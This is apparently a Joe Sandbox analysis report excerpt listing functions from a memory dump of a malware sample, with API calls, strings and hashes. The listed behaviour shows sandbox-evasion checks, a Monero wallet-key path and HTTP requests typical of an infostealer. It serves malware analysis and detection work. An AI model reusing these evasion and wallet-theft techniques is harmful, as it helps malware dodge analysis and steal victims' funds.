:, xrefs: 00D9755C
\, xrefs: 00D97560

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 32470906ce11c8756595f080898b915ba4c0de22e5070e78fced7be8999d05d6
Instruction ID: 5b74f69862cbb92f0304321fda038763b946479eea8d524c86c9f8a7cc5699ca
Opcode Fuzzy Hash: 32470906ce11c8756595f080898b915ba4c0de22e5070e78fced7be8999d05d6
Instruction Fuzzy Hash: A7416DB1D04248ABDF10DF94DD45BEEBBB8EF08704F140199F509A7280DB74AA44CBB5

Function 00D969F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D99860: GetProcAddress.KERNEL32(74DD0000,018224A0), ref: 00D998A1
Part of subcall function 00D99860: GetProcAddress.KERNEL32(74DD0000,018224B8), ref: 00D998BA
Part of subcall function 00D99860: GetProcAddress.KERNEL32(74DD0000,018223B0), ref: 00D998D2
Part of subcall function 00D99860: GetProcAddress.KERNEL32(74DD0000,018224D0), ref: 00D998EA
Part of subcall function 00D99860: GetProcAddress.KERNEL32(74DD0000,01822350), ref: 00D99903
Part of subcall function 00D99860: GetProcAddress.KERNEL32(74DD0000,01829018), ref: 00D9991B
Part of subcall function 00D99860: GetProcAddress.KERNEL32(74DD0000,018158B0), ref: 00D99933
Part of subcall function 00D99860: GetProcAddress.KERNEL32(74DD0000,01815830), ref: 00D9994C
Part of subcall function 00D99860: GetProcAddress.KERNEL32(74DD0000,01822218), ref: 00D99964
Part of subcall function 00D99860: GetProcAddress.KERNEL32(74DD0000,01822308), ref: 00D9997C
Part of subcall function 00D99860: GetProcAddress.KERNEL32(74DD0000,01822500), ref: 00D99995
Part of subcall function 00D99860: GetProcAddress.KERNEL32(74DD0000,01822320), ref: 00D999AD
Part of subcall function 00D99860: GetProcAddress.KERNEL32(74DD0000,018158D0), ref: 00D999C5
Part of subcall function 00D99860: GetProcAddress.KERNEL32(74DD0000,01822230), ref: 00D999DE

Part of subcall function 00D9A740: lstrcpy.KERNEL32(00DA0E17,00000000), ref: 00D9A788

Part of subcall function 00D811D0: ExitProcess.KERNEL32 ref: 00D81211

Part of subcall function 00D81160: GetSystemInfo.KERNEL32(?), ref: 00D8116A
Part of subcall function 00D81160: ExitProcess.KERNEL32 ref: 00D8117E

Part of subcall function 00D81110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00D8112B
Part of subcall function 00D81110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00D81132
Part of subcall function 00D81110: ExitProcess.KERNEL32 ref: 00D81143

Part of subcall function 00D81220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00D8123E
Part of subcall function 00D81220: __aulldiv.LIBCMT ref: 00D81258
Part of subcall function 00D81220: __aulldiv.LIBCMT ref: 00D81266
Part of subcall function 00D81220: ExitProcess.KERNEL32 ref: 00D81294

Part of subcall function 00D96770: GetUserDefaultLangID.KERNEL32 ref: 00D96774

Part of subcall function 00D81190: ExitProcess.KERNEL32 ref: 00D811C6

Part of subcall function 00D97850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00D811B7), ref: 00D97880
Part of subcall function 00D97850: RtlAllocateHeap.NTDLL(00000000), ref: 00D97887
Part of subcall function 00D97850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00D9789F

Part of subcall function 00D978E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D97910
Part of subcall function 00D978E0: RtlAllocateHeap.NTDLL(00000000), ref: 00D97917
Part of subcall function 00D978E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00D9792F

Part of subcall function 00D9A9B0: lstrlen.KERNEL32(?,01829188,?,\Monero\wallet.keys,00DA0E17), ref: 00D9A9C5
Part of subcall function 00D9A9B0: lstrcpy.KERNEL32(00000000), ref: 00D9AA04
Part of subcall function 00D9A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D9AA12

Part of subcall function 00D9A8A0: lstrcpy.KERNEL32(?,00DA0E17), ref: 00D9A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,018290F8,?,00DA110C,?,00000000,?,00DA1110,?,00000000,00DA0AEF), ref: 00D96ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00D96AE8
CloseHandle.KERNEL32(00000000), ref: 00D96AF9
Sleep.KERNEL32(00001770), ref: 00D96B04
CloseHandle.KERNEL32(?,00000000,?,018290F8,?,00DA110C,?,00000000,?,00DA1110,?,00000000,00DA0AEF), ref: 00D96B1A
ExitProcess.KERNEL32 ref: 00D96B22

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 9f1c3baf6864f1a4a0dee5a3c50f60f9314f5ba58814c516306fed8703fb5ac6
Instruction ID: 2f64ed57a9bdda0d4c70ec56b42577c1ddd79ca92f17639d6a03f9e2fb56ce17
Opcode Fuzzy Hash: 9f1c3baf6864f1a4a0dee5a3c50f60f9314f5ba58814c516306fed8703fb5ac6
Instruction Fuzzy Hash: A431E472910218AADF04FBB4DC5ABEE7778EF04740F504518F202A2192EF70A905DBB6

Function 00D81220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00D8123E
__aulldiv.LIBCMT ref: 00D81258
__aulldiv.LIBCMT ref: 00D81266
ExitProcess.KERNEL32 ref: 00D81294

Strings

@, xrefs: 00D81233

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 6ae3d48eb1fcf434db05d6d7da9627a86b639bc92fa0452ddd2d3cf518f83d6f
Instruction ID: 08a34d9b1193ae54c4827074737d28b63489c76b6d6e6cb715549feb1a906689
Opcode Fuzzy Hash: 6ae3d48eb1fcf434db05d6d7da9627a86b639bc92fa0452ddd2d3cf518f83d6f
Instruction Fuzzy Hash: 1F01FFB4944308BADF10EBE4CD4AFADB778EB14705F248144E605B6180D6749545876D

Function 00D96AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,018290F8,?,00DA110C,?,00000000,?,00DA1110,?,00000000,00DA0AEF), ref: 00D96ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00D96AE8
CloseHandle.KERNEL32(00000000), ref: 00D96AF9
Sleep.KERNEL32(00001770), ref: 00D96B04
CloseHandle.KERNEL32(?,00000000,?,018290F8,?,00DA110C,?,00000000,?,00DA1110,?,00000000,00DA0AEF), ref: 00D96B1A
ExitProcess.KERNEL32 ref: 00D96B22

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 9dd956263815603d71680a6aa9dbd7d65e21bf9f6879778c6566850cb971656a
Instruction ID: 184bc052551d7b33d9c1f3b67206fd5eebde9f4ca76f310d1769e3e7bc853c92
Opcode Fuzzy Hash: 9dd956263815603d71680a6aa9dbd7d65e21bf9f6879778c6566850cb971656a
Instruction Fuzzy Hash: 93F05870A4020DABEF00ABB0DD0ABBE7B34FF04749F104614B502A21C5DBB0A540EBB6

Function 00D847B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00D84839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00D84849

Strings

<, xrefs: 00D847C9

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 07350176952d73aa391ddae94411aa7193a20375ec5f8b1243bd7b23d0b478db
Instruction ID: 3a8c8b3c3e95b85993da4786553fd121f09c1b90b3589bb72e41614093c650b6
Opcode Fuzzy Hash: 07350176952d73aa391ddae94411aa7193a20375ec5f8b1243bd7b23d0b478db
Instruction Fuzzy Hash: C3214FB1D00209ABDF14DFA4E845ADE7B74FF44320F108625F915A72C1EB706A09CF91

Function 00D951F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D9A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D9A7E6

Part of subcall function 00D86280: InternetOpenA.WININET(00DA0DFE,00000001,00000000,00000000,00000000), ref: 00D862E1
Part of subcall function 00D86280: StrCmpCA.SHLWAPI(?,0182EB68), ref: 00D86303
Part of subcall function 00D86280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00D86335
Part of subcall function 00D86280: HttpOpenRequestA.WININET(00000000,GET,?,0182E1B0,00000000,00000000,00400100,00000000), ref: 00D86385
Part of subcall function 00D86280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00D863BF
Part of subcall function 00D86280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00D863D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00D95228

Strings

ERROR, xrefs: 00D95273
ERROR, xrefs: 00D9521A

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 74891e2443416f78705b0082af7c10a79e88c7638a63d1587086d1237fb33a54
Instruction ID: c1fb7c470e40482b2b5de0a04f5439d46273b1425a687d61fdd72d6e25d0d9c3
Opcode Fuzzy Hash: 74891e2443416f78705b0082af7c10a79e88c7638a63d1587086d1237fb33a54
Instruction Fuzzy Hash: 3D11DA31910148ABCF14FBA8DD52AED7378EF50340F404168F81A5A592EF30AB0AC7B5

Function 00D81110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00D8112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00D81132
ExitProcess.KERNEL32 ref: 00D81143

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 9d61226dfdc27b2c894e308aa947b0ce97a1a46ab89ec9eb2b57737b2aca58d8
Instruction ID: 91519763bf4969cc1f0d3d354345be0e21bf1cd7e467296c14e7c9836560eacf
Opcode Fuzzy Hash: 9d61226dfdc27b2c894e308aa947b0ce97a1a46ab89ec9eb2b57737b2aca58d8
Instruction Fuzzy Hash: A6E0E67494530CFBE7106BA09D0FF09767CEB04B05F104054F709771D0D6B53A45A7A9

Function 0123236E Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00000040,?), ref: 01232EAA

Strings

V, xrefs: 01232E7B

Memory Dump Source

Source File: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: V
API String ID: 544645111-1342839628
Opcode ID: 579f81dcd1b550f5ba05108ab649187747fda37f42e707827d6b25ebf833ed2f
Instruction ID: d5fb9a2c0e7f6869814e68d2ba8893311fd4ba6196858049b6462b24404e9c07
Opcode Fuzzy Hash: 579f81dcd1b550f5ba05108ab649187747fda37f42e707827d6b25ebf833ed2f
Instruction Fuzzy Hash: 1031F2F263C309DFDB15AF18DC8276EBBA4FB84300F04052DDB8247650E6B66D548B9A

Function 00D810A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00D810B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00D810F7

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 0cf4552bd03802938ba96430d32412105fc2fe2d88d44b4852ce5eaac8d0b814
Instruction ID: 6c13312e656a847f4694190bab9205e43c9377f8b5983a551032706516ae1d21
Opcode Fuzzy Hash: 0cf4552bd03802938ba96430d32412105fc2fe2d88d44b4852ce5eaac8d0b814
Instruction Fuzzy Hash: 66F0E27164120CBBEB14ABA4AC4AFAAB7ECE705B15F301448F504E3280D572AE04DBA0

Function 00D81190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00D978E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D97910
Part of subcall function 00D978E0: RtlAllocateHeap.NTDLL(00000000), ref: 00D97917
Part of subcall function 00D978E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00D9792F

Part of subcall function 00D97850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00D811B7), ref: 00D97880
Part of subcall function 00D97850: RtlAllocateHeap.NTDLL(00000000), ref: 00D97887
Part of subcall function 00D97850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00D9789F

ExitProcess.KERNEL32 ref: 00D811C6

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

